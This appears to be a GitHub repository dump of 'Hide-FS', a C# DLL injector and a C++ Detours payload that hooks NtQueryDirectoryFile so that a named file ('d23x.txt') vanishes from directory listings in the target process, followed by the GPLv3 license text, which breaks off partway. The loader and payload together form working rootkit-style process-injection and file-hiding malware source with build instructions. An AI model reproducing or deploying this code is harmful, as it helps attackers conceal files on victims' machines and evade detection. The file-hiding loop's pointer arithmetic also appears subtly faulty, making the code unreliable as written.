├── Payload
    ├── framework.h
    ├── pch.cpp
    ├── pch.h
    ├── imports.h
    ├── dllmain.cpp
    └── detours.h
├── README.md
├── Loader
    ├── Program.cs
    └── NativeApi.cs
└── LICENSE


/Payload/framework.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | 
3 | #define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from Windows headers
4 | // Windows Header Files
5 | #include <windows.h>
6 | 


--------------------------------------------------------------------------------
/Payload/pch.cpp:
--------------------------------------------------------------------------------
1 | // pch.cpp: source file corresponding to the pre-compiled header
2 | 
3 | #include "pch.h"
4 | 
5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
6 | 


--------------------------------------------------------------------------------
/Payload/pch.h:
--------------------------------------------------------------------------------
 1 | // pch.h: This is a precompiled header file.
 2 | // Files listed below are compiled only once, improving build performance for future builds.
 3 | // This also affects IntelliSense performance, including code completion and many code browsing features.
 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds.
 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage.
 6 | 
 7 | #ifndef PCH_H
 8 | #define PCH_H
 9 | 
10 | // add headers that you want to pre-compile here
11 | #include "framework.h"
12 | 
13 | #endif //PCH_H
14 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Hide-FS
 2 | Inject dll to explorer.exe and hide file from process.
 3 | 
 4 | ## Requierments:
 5 | Microsoft Detours Library - https://github.com/microsoft/Detours
 6 | 
 7 | **Compile:**
 8 | 1. Unzip source code, open command line and enter to source directory
 9 | 2. SET DETOURS_TARGET_PROCESSOR=X64
10 | 3. C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat
11 | 4. NMAKE
12 | 
13 | Add detours.lib to Linker additional libraries.
14 | 
15 | **Hooked Functions:**
16 | - NtQueryDirectoryFile <br>
17 |   Microsoft try to hide it, The address to the function is dynamic, you need to find it yourself.
18 | - RtlUnicodeStringToAnsiString
19 |   
20 | 


--------------------------------------------------------------------------------
/Loader/Program.cs:
--------------------------------------------------------------------------------
 1 | using System;
 2 | using System.Collections.Generic;
 3 | using System.Diagnostics;
 4 | using System.Linq;
 5 | using System.Runtime.InteropServices;
 6 | using System.Text;
 7 | using System.Threading.Tasks;
 8 | 
 9 | namespace Loader
10 | {
11 |     class Program
12 |     {
13 |         static IntPtr setLibrary(string dll, string function)
14 |         {
15 |             IntPtr h = NativeApi.GetModuleHandle(dll);
16 |             return NativeApi.GetProcAddress(h, function);
17 |         }
18 | 
19 | 
20 |         static void injectDLL(int pid, string payloadPath)
21 |         {
22 | 
23 |             IntPtr processPtr = NativeApi.OpenProcess(NativeApi.PROCESS_ALL_ACCESS, false, pid);
24 | 
25 |             //getting the pointer to LoadLibraryA in kernel32.dll
26 |             IntPtr loadLibraryPtr = NativeApi.GetProcAddress(NativeApi.GetModuleHandle("kernel32.dll"), "LoadLibraryA");
27 | 
28 |             //allocate payload path
29 |             IntPtr allocMemAddress = NativeApi.VirtualAllocEx(processPtr, IntPtr.Zero, (uint)((payloadPath.Length + 1) * Marshal.SizeOf(typeof(char))), NativeApi.MEM_COMMIT | NativeApi.MEM_RESERVE, NativeApi.PAGE_READWRITE);
30 | 
31 |             //write to process memory
32 |             UIntPtr bytesWritten;
33 |             NativeApi.WriteProcessMemory(processPtr, allocMemAddress, Encoding.Default.GetBytes(payloadPath), (uint)((payloadPath.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
34 | 
35 |             //create thread in process, execute loadlibrary and call the allocated path
36 |             NativeApi.CreateRemoteThread(processPtr, IntPtr.Zero, 0, loadLibraryPtr, allocMemAddress, 0, IntPtr.Zero);
37 | 
38 |         }
39 | 
40 |         static void Main(string[] args)
41 |         {
42 |             
43 |             if (args.Length < 2)
44 |             {
45 | 
46 |                 Console.WriteLine("Hide File From Explorer, Check filename in code.");
47 |                 Console.WriteLine("<Payload Path> <Process Name>");
48 |                 Console.WriteLine("Example:");
49 |                 Console.WriteLine("C:\\payload.dll notepad");
50 |                 Console.WriteLine("By Proxytype - https://github.com/proxytype");
51 |                 return;
52 | 
53 |             }
54 | 
55 |             string payload = args[0];
56 |             string injectTo = args[1];
57 | 
58 | 
59 |             Process[] ps = Process.GetProcessesByName(injectTo);
60 | 
61 |             if (ps.Length != 0)
62 |             {
63 | 
64 |                 injectDLL(ps[0].Id, payload);
65 |                 Console.ReadKey();
66 | 
67 |             }
68 |         }
69 |     }
70 | }
71 | 


--------------------------------------------------------------------------------
/Payload/imports.h:
--------------------------------------------------------------------------------
 1 | 
 2 | #include <Windows.h>
 3 | #include <stdio.h>
 4 | #include <stdlib.h>
 5 | #include <tchar.h>
 6 | #include <winternl.h>
 7 | #include <Psapi.h>
 8 | #include <iostream>
 9 | #include <fstream>
10 | 
11 | typedef struct _FILE_BOTH_DIR_INFORMATION
12 | {
13 |     ULONG         NextEntryOffset;
14 |     ULONG         FileIndex;
15 |     LARGE_INTEGER CreationTime;
16 |     LARGE_INTEGER LastAccessTime;
17 |     LARGE_INTEGER LastWriteTime;
18 |     LARGE_INTEGER ChangeTime;
19 |     LARGE_INTEGER EndOfFile;
20 |     LARGE_INTEGER AllocationSize;
21 |     ULONG         FileAttributes;
22 |     ULONG         FileNameLength;
23 |     ULONG         EaSize;
24 |     CCHAR         ShortNameLength;
25 |     WCHAR         ShortName[12];
26 |     WCHAR         FileName[1];
27 | } FILE_BOTH_DIR_INFORMATION, * PFILE_BOTH_DIR_INFORMATION;
28 | 
29 | typedef struct _FILE_FULL_DIR_INFORMATION {
30 |     ULONG         NextEntryOffset;
31 |     ULONG         FileIndex;
32 |     LARGE_INTEGER CreationTime;
33 |     LARGE_INTEGER LastAccessTime;
34 |     LARGE_INTEGER LastWriteTime;
35 |     LARGE_INTEGER ChangeTime;
36 |     LARGE_INTEGER EndOfFile;
37 |     LARGE_INTEGER AllocationSize;
38 |     ULONG         FileAttributes;
39 |     ULONG         FileNameLength;
40 |     ULONG         EaSize;
41 |     WCHAR         FileName[1];
42 | } FILE_FULL_DIR_INFORMATION, * PFILE_FULL_DIR_INFORMATION;
43 | 
44 | typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
45 |     ULONG         NextEntryOffset;
46 |     ULONG         FileIndex;
47 |     LARGE_INTEGER CreationTime;
48 |     LARGE_INTEGER LastAccessTime;
49 |     LARGE_INTEGER LastWriteTime;
50 |     LARGE_INTEGER ChangeTime;
51 |     LARGE_INTEGER EndOfFile;
52 |     LARGE_INTEGER AllocationSize;
53 |     ULONG         FileAttributes;
54 |     ULONG         FileNameLength;
55 |     ULONG         EaSize;
56 |     CCHAR         ShortNameLength;
57 |     WCHAR         ShortName[12];
58 |     LARGE_INTEGER FileId;
59 |     WCHAR         FileName[1];
60 | } FILE_ID_BOTH_DIR_INFORMATION, * PFILE_ID_BOTH_DIR_INFORMATION;
61 | 
62 | const int fileFullDirectoryInformation = 2;
63 | const int fileBothDirectoryInformation = 3;
64 | const int fileIdBothDirectoryInformation = 37;
65 | 
66 | typedef NTSTATUS(WINAPI* realZwQueryDirectoryFile)(IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PVOID ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL,
67 |     OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass,
68 |     IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan);
69 | 
70 | typedef NTSTATUS(WINAPI* realRtlUnicodeStringToAnsiString)(IN PANSI_STRING destinationString, IN PCUNICODE_STRING sourceString, IN BOOLEAN allocateDestinationString);
71 | 
72 | realZwQueryDirectoryFile originalNtQueryDirectoryFile =
73 | (realZwQueryDirectoryFile)GetProcAddress(GetModuleHandleA("ntdll.dll"),
74 |     "NtQueryDirectoryFile");
75 | 
76 | realRtlUnicodeStringToAnsiString originalRtlUnicodeStringToAnsiString = (realRtlUnicodeStringToAnsiString)GetProcAddress(GetModuleHandleA("ntdll.dll"),
77 |     "RtlUnicodeStringToAnsiString");


--------------------------------------------------------------------------------
/Loader/NativeApi.cs:
--------------------------------------------------------------------------------
 1 | using System;
 2 | using System.Collections.Generic;
 3 | using System.Linq;
 4 | using System.Runtime.ConstrainedExecution;
 5 | using System.Runtime.InteropServices;
 6 | using System.Security;
 7 | using System.Text;
 8 | using System.Threading.Tasks;
 9 | 
10 | namespace Loader
11 | {
12 |     public class NativeApi
13 |     {
14 |         [DllImport("kernel32.dll")]
15 |         public static extern IntPtr OpenProcess(int address, bool inheritHandle, int pid);
16 | 
17 |         [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
18 |         public static extern IntPtr GetModuleHandle(string module);
19 | 
20 |         [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
21 |         public static extern IntPtr GetProcAddress(IntPtr module, string functionName);
22 | 
23 |         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
24 |         public static extern IntPtr VirtualAllocEx(IntPtr pid, IntPtr address, uint size, uint allocationType, uint flags);
25 | 
26 |         [DllImport("kernel32.dll", SetLastError = true)]
27 |         public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
28 | 
29 |         [DllImport("kernel32.dll")]
30 |         public static extern IntPtr CreateRemoteThread(IntPtr hProcess,
31 |             IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
32 | 
33 |         [DllImport("kernel32.dll", SetLastError = true)]
34 |         public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
35 | 
36 |         [DllImport("kernel32.dll", SetLastError = true)]
37 |         [return: MarshalAs(UnmanagedType.Bool)]
38 |         public static extern bool FreeLibrary(IntPtr hModule);
39 | 
40 |         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
41 |         public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, AllocationType dwFreeType);
42 | 
43 |         [DllImport("kernel32.dll", SetLastError = true)]
44 |         [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
45 |         [SuppressUnmanagedCodeSecurity]
46 |         [return: MarshalAs(UnmanagedType.Bool)]
47 |         public static extern bool CloseHandle(IntPtr hObject);
48 | 
49 |         //Process Flags
50 |         const uint DELETE = 0x00010000;
51 |         const uint READ_CONTROL = 0x00020000;
52 |         const uint WRITE_DAC = 0x00040000;
53 |         const uint WRITE_OWNER = 0x00080000;
54 |         const uint SYNCHRONIZE = 0x00100000;
55 |         const uint END = 0xFFF; //if you have Windows XP or Windows Server 2003 you must change this to 0xFFFF
56 |         public const int PROCESS_ALL_ACCESS = (int)(DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER | SYNCHRONIZE | END);
57 | 
58 |         public const UInt32 INFINITE = 0xFFFFFFFF;
59 |         public const uint PAGE_READWRITE = 4;
60 |         public const uint MEM_COMMIT = 0x00001000;
61 |         public const uint MEM_RESERVE = 0x00002000;
62 | 
63 |         public enum AllocationType
64 |         {
65 |             Commit = 0x1000,
66 |             Reserve = 0x2000,
67 |             Decommit = 0x4000,
68 |             Release = 0x8000,
69 |             Reset = 0x80000,
70 |             Physical = 0x400000,
71 |             TopDown = 0x100000,
72 |             WriteWatch = 0x200000,
73 |             LargePages = 0x20000000
74 |         };
75 |     }
76 | }
77 | 
78 | 


--------------------------------------------------------------------------------
/Payload/dllmain.cpp:
--------------------------------------------------------------------------------
  1 | // dllmain.cpp : Defines the entry point for the DLL application.
  2 | //http://www.rohitab.com/discuss/topic/43368-windows-10-explorerexe-rootkit-question/
  3 | #include "pch.h"
  4 | #include "imports.h"
  5 | #include "detours.h"
  6 | 
  7 | bool compareToFileName(PFILE_ID_BOTH_DIR_INFORMATION PFileIdFullDirInfo, const char* filename) {
  8 | 
  9 |     ANSI_STRING as;
 10 |     UNICODE_STRING EntryName;
 11 |     EntryName.MaximumLength = EntryName.Length = (USHORT)PFileIdFullDirInfo->FileNameLength;
 12 |     EntryName.Buffer = &PFileIdFullDirInfo->FileName[0];
 13 |     originalRtlUnicodeStringToAnsiString(&as, &EntryName, TRUE);
 14 | 
 15 |     if (strcmp(as.Buffer, filename) == 0) {
 16 |         return true;
 17 |     }
 18 |     else {
 19 |         return false;
 20 |     }
 21 | }
 22 | 
 23 | NTSTATUS WINAPI Mine_NtQueryDirectoryFile(IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PVOID ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL,
 24 |     OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass,
 25 |     IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan)
 26 | {
 27 |     NTSTATUS status = originalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan);
 28 |     
 29 |     PFILE_FULL_DIR_INFORMATION pFileFullDirInfo;
 30 |     PFILE_BOTH_DIR_INFORMATION pFileBothDirInfo;
 31 | 
 32 | 
 33 |     switch (FileInformationClass) {
 34 |     case fileFullDirectoryInformation:
 35 |         pFileFullDirInfo = (PFILE_FULL_DIR_INFORMATION)FileInformation;
 36 |         while (pFileFullDirInfo->NextEntryOffset) {
 37 |             pFileFullDirInfo = (PFILE_FULL_DIR_INFORMATION)((LPBYTE)pFileFullDirInfo + pFileFullDirInfo->NextEntryOffset);
 38 |         }
 39 |         break;
 40 |     case fileBothDirectoryInformation:
 41 |         pFileBothDirInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation;
 42 |         while (pFileBothDirInfo->NextEntryOffset) {         
 43 |             pFileBothDirInfo = (PFILE_BOTH_DIR_INFORMATION)((LPBYTE)pFileBothDirInfo + pFileBothDirInfo->NextEntryOffset);
 44 |         }
 45 |         break;
 46 |     case fileIdBothDirectoryInformation:
 47 |         
 48 |         PFILE_ID_BOTH_DIR_INFORMATION current = (PFILE_ID_BOTH_DIR_INFORMATION)FileInformation;
 49 | 
 50 |         while (current->NextEntryOffset) {
 51 |             PFILE_ID_BOTH_DIR_INFORMATION next = (PFILE_ID_BOTH_DIR_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
 52 |            
 53 |             if (compareToFileName(next, "d23x.txt") == true) {
 54 |                 if (next->NextEntryOffset != 0) {
 55 |                     next = (PFILE_ID_BOTH_DIR_INFORMATION)((LPBYTE)next + next->NextEntryOffset);
 56 |                     current->NextEntryOffset += next->NextEntryOffset;
 57 |                 }
 58 |                 else {
 59 |                     current->NextEntryOffset = 0;
 60 |                 } 
 61 |             }
 62 |             else {
 63 |                 current = next;
 64 |             }
 65 |         }
 66 | 
 67 |         break;
 68 |     }
 69 | 
 70 |     return status;
 71 | }
 72 | 
 73 | void attachDetours() {
 74 | 
 75 |     DetourRestoreAfterWith();
 76 |     DetourTransactionBegin();
 77 |     DetourUpdateThread(GetCurrentThread());
 78 | 
 79 |     DetourAttach((PVOID*)&originalNtQueryDirectoryFile, Mine_NtQueryDirectoryFile);
 80 | 
 81 |     DetourTransactionCommit();
 82 | }
 83 | 
 84 | void deAttachDetours() {
 85 | 
 86 |     DetourTransactionBegin();
 87 |     DetourUpdateThread(GetCurrentThread());
 88 | 
 89 |     DetourDetach((PVOID*)&originalNtQueryDirectoryFile, Mine_NtQueryDirectoryFile);
 90 | 
 91 |     DetourTransactionCommit();
 92 | }
 93 | 
 94 | BOOL APIENTRY DllMain( HMODULE hModule,
 95 |                        DWORD  ul_reason_for_call,
 96 |                        LPVOID lpReserved
 97 |                      )
 98 | {
 99 |     switch (ul_reason_for_call)
100 |     {
101 |     case DLL_PROCESS_ATTACH:
102 |         attachDetours();
103 |         break;
104 |     case DLL_PROCESS_DETACH:
105 |         deAttachDetours();
106 |         break;
107 |     }
108 |     return TRUE;
109 | }
110 | 
111 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                     GNU GENERAL PUBLIC LICENSE
  2 |                        Version 3, 29 June 2007
  3 | 
  4 |  Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
  5 |  Everyone is permitted to copy and distribute verbatim copies
  6 |  of this license document, but changing it is not allowed.
  7 | 
  8 |                             Preamble
  9 | 
 10 |   The GNU General Public License is a free, copyleft license for
 11 | software and other kinds of works.
 12 | 
 13 |   The licenses for most software and other practical works are designed
 14 | to take away your freedom to share and change the works.  By contrast,
 15 | the GNU General Public License is intended to guarantee your freedom to
 16 | share and change all versions of a program--to make sure it remains free
 17 | software for all its users.  We, the Free Software Foundation, use the
 18 | GNU General Public License for most of our software; it applies also to
 19 | any other work released this way by its authors.  You can apply it to
 20 | your programs, too.
 21 | 
 22 |   When we speak of free software, we are referring to freedom, not
 23 | price.  Our General Public Licenses are designed to make sure that you
 24 | have the freedom to distribute copies of free software (and charge for
 25 | them if you wish), that you receive source code or can get it if you
 26 | want it, that you can change the software or use pieces of it in new
 27 | free programs, and that you know you can do these things.
 28 | 
 29 |   To protect your rights, we need to prevent others from denying you
 30 | these rights or asking you to surrender the rights.  Therefore, you have
 31 | certain responsibilities if you distribute copies of the software, or if
 32 | you modify it: responsibilities to respect the freedom of others.
 33 | 
 34 |   For example, if you distribute copies of such a program, whether
 35 | gratis or for a fee, you must pass on to the recipients the same
 36 | freedoms that you received.  You must make sure that they, too, receive
 37 | or can get the source code.  And you must show them these terms so they
 38 | know their rights.
 39 | 
 40 |   Developers that use the GNU GPL protect your rights with two steps:
 41 | (1) assert copyright on the software, and (2) offer you this License
 42 | giving you legal permission to copy, distribute and/or modify it.
 43 | 
 44 |   For the developers' and authors' protection, the GPL clearly explains
 45 | that there is no warranty for this free software.  For both users' and
 46 | authors' sake, the GPL requires that modified versions be marked as
 47 | changed, so that their problems will not be attributed erroneously to
 48 | authors of previous versions.
 49 | 
 50 |   Some devices are designed to deny users access to install or run
 51 | modified versions of the software inside them, although the manufacturer
 52 | can do so.  This is fundamentally incompatible with the aim of
 53 | protecting users' freedom to change the software.  The systematic
 54 | pattern of such abuse occurs in the area of products for individuals to
 55 | use, which is precisely where it is most unacceptable.  Therefore, we
 56 | have designed this version of the GPL to prohibit the practice for those
 57 | products.  If such problems arise substantially in other domains, we
 58 | stand ready to extend this provision to those domains in future versions
 59 | of the GPL, as needed to protect the freedom of users.
 60 | 
 61 |   Finally, every program is threatened constantly by software patents.
 62 | States should not allow patents to restrict development and use of
 63 | software on general-purpose computers, but in those that do, we wish to
 64 | avoid the special danger that patents applied to a free program could
 65 | make it effectively proprietary.  To prevent this, the GPL assures that
 66 | patents cannot be used to render the program non-free.
 67 | 
 68 |   The precise terms and conditions for copying, distribution and
 69 | modification follow.
 70 | 
 71 |                        TERMS AND CONDITIONS
 72 | 
 73 |   0. Definitions.
 74 | 
 75 |   "This License" refers to version 3 of the GNU General Public License.
 76 | 
 77 |   "Copyright" also means copyright-like laws that apply to other kinds of
 78 | works, such as semiconductor masks.
 79 | 
 80 |   "The Program" refers to any copyrightable work licensed under this
 81 | License.  Each licensee is addressed as "you".  "Licensees" and
 82 | "recipients" may be individuals or organizations.
 83 | 
 84 |   To "modify" a work means to copy from or adapt all or part of the work
 85 | in a fashion requiring copyright permission, other than the making of an
 86 | exact copy.  The resulting work is called a "modified version" of the
 87 | earlier work or a work "based on" the earlier work.
 88 | 
 89 |   A "covered work" means either the unmodified Program or a work based
 90 | on the Program.
 91 | 
 92 |   To "propagate" a work means to do anything with it that, without
 93 | permission, would make you directly or secondarily liable for
 94 | infringement under applicable copyright law, except executing it on a
 95 | computer or modifying a private copy.  Propagation includes copying,
 96 | distribution (with or without modification), making available to the
 97 | public, and in some countries other activities as well.
 98 | 
 99 |   To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies.  Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 | 
103 |   An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License.  If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 | 
112 |   1. Source Code.
113 | 
114 |   The "source code" for a work means the preferred form of the work
115 | for making modifications to it.  "Object code" means any non-source
116 | form of a work.
117 | 
118 |   A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 | 
123 |   The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form.  A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 | 
134 |   The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities.  However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work.  For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 | 
147 |   The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 | 
151 |   The Corresponding Source for a work in source code form is that
152 | same work.
153 | 
154 |   2. Basic Permissions.
155 | 
156 |   All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met.  This License explicitly affirms your unlimited
159 | permission to run the unmodified Program.  The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work.  This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 | 
164 |   You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force.  You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright.  Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 | 
175 |   Conveying under any other circumstances is permitted solely under
176 | the conditions stated below.  Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 | 
179 |   3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 | 
181 |   No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 | 
187 |   When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 | 
195 |   4. Conveying Verbatim Copies.
196 | 
197 |   You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 | 
205 |   You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 | 
208 |   5. Conveying Modified Source Versions.
209 | 
210 |   You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 | 
214 |     a) The work must carry prominent notices stating that you modified
215 |     it, and giving a relevant date.
216 | 
217 |     b) The work must carry prominent notices stating that it is
218 |     released under this License and any conditions added under section
219 |     7.  This requirement modifies the requirement in section 4 to
220 |     "keep intact all notices".
221 | 
222 |     c) You must license the entire work, as a whole, under this
223 |     License to anyone who comes into possession of a copy.  This
224 |     License will therefore apply, along with any applicable section 7
225 |     additional terms, to the whole of the work, and all its parts,
226 |     regardless of how they are packaged.  This License gives no
227 |     permission to license the work in any other way, but it does not
228 |     invalidate such permission if you have separately received it.
229 | 
230 |     d) If the work has interactive user interfaces, each must display
231 |     Appropriate Legal Notices; however, if the Program has interactive
232 |     interfaces that do not display Appropriate Legal Notices, your
233 |     work need not make them do so.
234 | 
235 |   A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit.  Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 | 
245 |   6. Conveying Non-Source Forms.
246 | 
247 |   You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 | 
252 |     a) Convey the object code in, or embodied in, a physical product
253 |     (including a physical distribution medium), accompanied by the
254 |     Corresponding Source fixed on a durable physical medium
255 |     customarily used for software interchange.
256 | 
257 |     b) Convey the object code in, or embodied in, a physical product
258 |     (including a physical distribution medium), accompanied by a
259 |     written offer, valid for at least three years and valid for as
260 |     long as you offer spare parts or customer support for that product
261 |     model, to give anyone who possesses the object code either (1) a
262 |     copy of the Corresponding Source for all the software in the
263 |     product that is covered by this License, on a durable physical
264 |     medium customarily used for software interchange, for a price no
265 |     more than your reasonable cost of physically performing this
266 |     conveying of source, or (2) access to copy the
267 |     Corresponding Source from a network server at no charge.
268 | 
269 |     c) Convey individual copies of the object code with a copy of the
270 |     written offer to provide the Corresponding Source.  This
271 |     alternative is allowed only occasionally and noncommercially, and
272 |     only if you received the object code with such an offer, in accord
273 |     with subsection 6b.
274 | 
275 |     d) Convey the object code by offering access from a designated
276 |     place (gratis or for a charge), and offer equivalent access to the
277 |     Corresponding Source in the same way through the same place at no
278 |     further charge.  You need not require recipients to copy the
279 |     Corresponding Source along with the object code.  If the place to
280 |     copy the object code is a network server, the Corresponding Source
281 |     may be on a different server (operated by you or a third party)
282 |     that supports equivalent copying facilities, provided you maintain
283 |     clear directions next to the object code saying where to find the
284 |     Corresponding Source.  Regardless of what server hosts the
285 |     Corresponding Source, you remain obligated to ensure that it is
286 |     available for as long as needed to satisfy these requirements.
287 | 
288 |     e) Convey the object code using peer-to-peer transmission, provided
289 |     you inform other peers where the object code and Corresponding
290 |     Source of the work are being offered to the general public at no
291 |     charge under subsection 6d.
292 | 
293 |   A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 | 
297 |   A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling.  In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage.  For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product.  A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 | 
310 |   "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source.  The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 | 
318 |   If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information.  But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 | 
329 |   The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed.  Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 | 
337 |   Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 | 
343 |   7. Additional Terms.
344 | 
345 |   "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law.  If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 | 
354 |   When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it.  (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.)  You may place
